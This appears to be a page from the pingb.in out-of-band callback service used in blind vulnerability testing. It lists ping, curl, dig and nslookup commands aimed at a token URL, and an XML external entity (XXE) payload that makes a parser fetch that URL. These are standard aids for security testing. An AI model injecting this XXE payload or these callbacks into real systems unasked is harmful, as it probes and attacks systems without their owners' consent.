$ ping -c1 -p 000740bf985c9426153a81b8a9013d00 pingb.in
 
$ curl pingb.in/p/0740bf985c9426153a81b8a9013d
 
$ dig 0740bf985c9426153a81b8a9013d @pingb.in
 
$ dig 0740bf985c9426153a81b8a9013d.ns.pingb.in
 
C:\> nslookup 0740bf985c9426153a81b8a9013d pingb.in
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/0740bf985c9426153a81b8a9013d">]>
    <foo>&xxe;</foo>
 
Waiting for ping...